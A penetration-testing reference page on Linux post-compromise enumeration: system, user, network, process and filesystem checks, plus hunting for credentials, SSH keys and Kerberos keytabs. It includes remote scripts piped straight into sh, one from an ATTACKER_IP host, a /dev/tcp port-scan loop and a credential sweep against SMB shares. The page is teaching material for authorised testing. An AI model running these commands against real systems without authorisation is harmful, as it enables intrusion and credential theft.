> ## Documentation Index > Fetch the complete documentation index at: https://0-x.dev/llms.txt > Use this file to discover all available pages before exploring further. # Linux OS Enumeration The goal here is building a full picture of the box before touching anything: who you are, what's running, what's reachable, and what's lying around unprotected. Everything on this page is information gathering, exploiting what it turns up (SUID binaries, capabilities, GTFOBins, wildcard injection) is covered separately in the upcoming Privilege Escalation page, this one is strictly "what does this system look like." > **Local Enumeration** > > Run from an existing shell on the box: system info, users, processes, filesystem, credentials lying in plain sight. > **Automated Sweeps** > > linPEAS/LinEnum run everything below (and more) in one pass, worth kicking off in the background while you work through things manually. *** ## System Information Start broad: what distro, what kernel, what's actually installed. The kernel version in particular is worth noting immediately, it's the first thing to cross-reference against a kernel exploit suggester later. ```bash theme={null} hostname # machine name uname -a # kernel version, architecture, hostname in one line cat /etc/issue # pre-login banner, often reveals OS/distro cat /etc/*release # distro name and version (works across most distros) sudo -V # sudo version, worth checking against known sudo CVEs ``` ```bash theme={null} lscpu # CPU architecture and core count df -h # mounted filesystems and free space cat /etc/shells # shells available on the system dpkg -l # installed packages (Debian/Ubuntu); use rpm -qa on RHEL/CentOS env; printenv # environment variables, sometimes leak paths/credentials echo $PATH # resolution order for binaries, relevant later for PATH hijacking ``` > [!TIP] > > Match the kernel version and distro against [linux-exploit-suggester](https://github.com/The-Z-Labs/linux-exploit-suggester) once you have it, a known unpatched kernel CVE can be a faster win than any local misconfiguration. *** ## Container & Virtualization Check Worth confirming early, since it changes what "privilege escalation" even means here, root inside a container is not root on the host, and some techniques (kernel exploits especially) behave differently or not at all. ```bash theme={null} cat /proc/1/cgroup | grep -i docker # non-empty output usually means you're in a Docker container ls -la / | grep -i .dockerenv # .dockerenv file present = Docker systemd-detect-virt # reports the virtualization/container type directly, if systemd is present ``` ```bash theme={null} groups # check membership in docker/lxd groups ls -la /var/run/docker.sock # writable docker socket = container escape / host root ``` *** ## Users & Groups ```bash theme={null} whoami; id # current user, uid/gid, and all group memberships in one shot cat /etc/passwd # every local user account (readable by all, even without root) cat /etc/group # group definitions and membership getent group sudo # members of a specific group (swap sudo for docker, adm, etc.) ``` ```bash theme={null} sudo -l # commands the current user can run as another user/root, start here ``` > [!NOTE] > > `sudo -l` is one of the highest-value commands on this entire page, run it immediately after confirming a shell. Whatever it returns feeds directly into the privilege escalation page next. ```bash theme={null} who; last; lastlog # currently logged in, login history, last login per user history # current user's shell history, often has stray credentials or useful commands ``` *** ## Network Information ```bash theme={null} ip a # interfaces and assigned IPs (ifconfig as a fallback on older systems) ip route # routing table, reveals other reachable subnets arp -a # ARP cache, other hosts this machine has recently talked to ss -tulpn # listening ports and the process behind each (netstat -ano as a fallback) cat /etc/hosts # static hostname mappings, sometimes names internal hosts a scanner won't find cat /etc/resolv.conf # configured DNS servers ``` A port bound only to `127.0.0.1` is invisible from outside but reachable from this shell directly, worth comparing the `ss` output against what an external nmap scan showed, the difference is often a service worth pivoting through. > **Pivoting one-liners: ping sweep and port scan without extra tools** > > Useful when this box has reach into a subnet nothing else can touch directly. > > ```bash theme={null} > for i in {1..254}; do (ping -c 1 172.16.5.$i | grep "bytes from" &); done > ``` > > ```bash theme={null} > for port in {1..1000}; do timeout 1 bash -c "echo >/dev/tcp/$1/$port" 2>/dev/null && echo "port $port is open"; done > ``` *** ## Processes & Scheduled Tasks ```bash theme={null} ps aux # all running processes; ps aux | grep root to spot what's running as root top # live view, useful to catch a short-lived process cron fires periodically ``` Scheduled tasks are worth checking even without write access to any of them, knowing what runs automatically (and as which user) shapes what to look for elsewhere. ```bash theme={null} crontab -l # current user's cron jobs cat /etc/crontab # system-wide cron table ls -la /etc/cron.d/ /etc/cron.*/ # system cron directories systemctl list-timers --all # systemd timers, the modern equivalent of cron on most current distros ``` > [!TIP] > > [pspy](https://github.com/DominicBreuker/pspy) watches process creation without needing root, catching a root-run cron job's exact command line, including one that only fires for a few seconds, is routinely how a box with nothing else wrong gets popped. > > ```bash theme={null} > ./pspy64 -pf -i 1000 > ``` *** ## Filesystem, Permissions & Mounts ```bash theme={null} lsblk # block devices and partitions cat /etc/fstab # configured mounts, including anything auto-mounted at boot cat /etc/exports # NFS exports; a no_root_squash entry here is worth flagging immediately ``` Permission bits worth enumerating now, even though acting on them belongs to the privilege escalation page: ```bash theme={null} find / -perm -4000 -type f 2>/dev/null # SUID binaries, run as the file owner regardless of caller find / -perm -2000 -type f 2>/dev/null # SGID binaries, run as the file's group find / -path /proc -prune -o -writable -type d -print 2>/dev/null # world/group-writable directories find / -path /proc -prune -o -writable -type f -print 2>/dev/null # world/group-writable files ``` ```bash theme={null} find / -type f -exec getcap {} \; 2>/dev/null # Linux capabilities assigned to any binary ``` > [!NOTE] > > Finding a SUID binary, a writable file owned by root, or an interesting capability here is a lead, not a result. What to actually do with each one (GTFOBins lookups, capability abuse, writable-script hijacking) belongs on the privilege escalation page, this page is where you collect the leads. *** ## Credential & Secret Hunting Looking for anything left behind, config files, scripts, history, logs, that leaks a password, key, or token directly. ```bash theme={null} find / -type f -name "*.conf" -o -name "*.config" 2>/dev/null | grep -v "^/usr/share\|^/usr/lib" grep -rn "password\|passwd\|db_user\|db_password" --include="*.conf" --include="*.config" / 2>/dev/null ``` ```bash theme={null} find / -type f \( -name "*_hist" -o -name "*_history" \) 2>/dev/null # shell/tool history files outside the current user find / -type d -name ".*" 2>/dev/null # hidden directories find / -type f -name ".*" 2>/dev/null | grep -v "^/proc\|^/sys" # hidden files, filtered to cut noise ``` ```bash theme={null} find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share" # custom shell scripts, worth reading ls -la /tmp /var/tmp /dev/shm # sometimes still holds leftover creds or tools ``` SSH keys are one of the highest-value finds on a box, worth a dedicated pass rather than relying on the generic hidden-file search above to catch them. ```bash theme={null} find / -name "id_rsa*" -o -name "id_ecdsa*" -o -name "id_ed25519*" 2>/dev/null grep -rlE '^-----BEGIN [A-Z0-9]+ PRIVATE KEY-----$' / 2>/dev/null ``` Log files sometimes retain exactly what caused a failed login or a sudo invocation, worth grepping rather than reading line by line. ```bash theme={null} for f in /var/log/*; do grep -lE "accepted|session opened|session closed|failure|failed|password changed|sudo|COMMAND=" "$f" 2>/dev/null; done ``` > **Broader sweeps: database files, documents, and programming/script files** > > Cast a wider net once the targeted searches above come up empty. > > ```bash theme={null} > find / \( -name "*.sql" -o -name "*.db" -o -name "*.sqlite*" \) 2>/dev/null | grep -v "doc\|lib\|headers\|share" > ``` > > ```bash theme={null} > find / \( -name "*.xls*" -o -name "*.doc*" -o -name "*.pdf" -o -name "*.ppt*" -o -name "*.od*" \) 2>/dev/null | grep -v "lib\|fonts\|share\|core" > ``` > > ```bash theme={null} > find / \( -name "*.py" -o -name "*.pl" -o -name "*.go" -o -name "*.jar" -o -name "*.c" \) 2>/dev/null | grep -v "doc\|lib\|headers\|share" > ``` > > [manspider](https://github.com/blacklanternsecurity/MANSPIDER) does the same keyword sweep against remote SMB shares instead of the local filesystem, useful once you've got a foothold and credentials to try against neighboring hosts. > > ```bash theme={null} > manspider 192.168.0.0/24 -f passw user admin account network login logon cred -d evilcorp -u bob -p Passw0rd > ``` *** ## Domain Indicators (Linux Joined to AD) A Linux box can be domain-joined via `sssd` or Winbind, worth checking since it opens up every Kerberos/AD technique on top of whatever local privesc exists. ```bash theme={null} realm list # shows the joined domain, if any ps -ef | grep -iE "winbind|sssd" # domain-join services running env | grep -i krb5 # Kerberos environment config find / -iname "*keytab*" 2>/dev/null # keytab files contain Kerberos keys in plaintext-equivalent form ``` *** ## Automated Enumeration Running a script catches things a manual pass misses or would take too long to check by hand, worth kicking off early and reviewing its output while continuing the manual checks above. > **[linPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)** > > The most thorough automated Linux enumeration script, color-coded output flags likely privesc vectors directly. > **[LinEnum](https://github.com/rebootuser/LinEnum)** > > Lighter and faster than linPEAS, a reasonable choice when the target is slow or linPEAS's output is too noisy to wade through. **linPEAS** Grab it straight onto the target with `curl` or `wget`, piping directly into `sh` skips writing to disk at all, useful on a box with limited write access or where you'd rather not leave the script sitting around. ```bash theme={null} # with curl curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh # with wget wget -qO- https://github.com/peass-ng/PEASSng/releases/latest/download/linpeas.sh | sh ``` Saving a copy first lets you re-run it with flags (`-a` for all checks including slower ones, `-s` for superfast mode) and keep the output logged to a file for later review. ```bash theme={null} curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh chmod +x linpeas.sh ./linpeas.sh -a | tee linpeas-output.txt ``` > [!TIP] > > If outbound internet access isn't available from the target, serve it from your attacking box instead and pull it over the local network (see [File Transfer](https://0-x.dev/file-transfer.md) for the full set of transfer methods): > > ```bash theme={null} > # attacker > python3 -m http.server 8000 > # target > curl http://ATTACKER_IP:8000/linpeas.sh | sh > ``` **LinEnum** ```bash theme={null} curl -L https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -o LinEnum.sh chmod +x LinEnum.sh ./LinEnum.sh -t ``` `-t` includes the slower, more thorough checks (writable file search, etc.), drop it for a quicker first pass. `-r report.txt` writes the output to a file instead of just the terminal, worth using when the output will be reviewed later or handed off. ```bash theme={null} ./LinEnum.sh -t -r report.txt ``` *** ## Password Hash Reference Useful for recognizing what you're looking at if you get hashes from`/etc/shadow` or a dump .
Algorithm Format
Salted MD5 `$1$`...
SHA-256 `$5$`...
SHA-512 `$6$`...
BCrypt `$2a$`...
Scrypt `$7$`...
Argon2 `$argon2i$`...
*** ## Quick Reference Tools > **[GTFOBins](https://gtfobins.github.io/)** > > Lookup table of binaries that can be abused for privilege escalation once SUID/sudo/capability enumeration above turns up a candidate. > **[linPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)** > > Automated enumeration, see above. > **[pspy](https://github.com/DominicBreuker/pspy)** > > Unprivileged process monitoring, catches cron jobs and scheduled tasks live. > **[linux-exploit-suggester](https://github.com/The-Z-Labs/linux-exploit-suggester)** > > Matches the kernel version against known local kernel exploits. This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.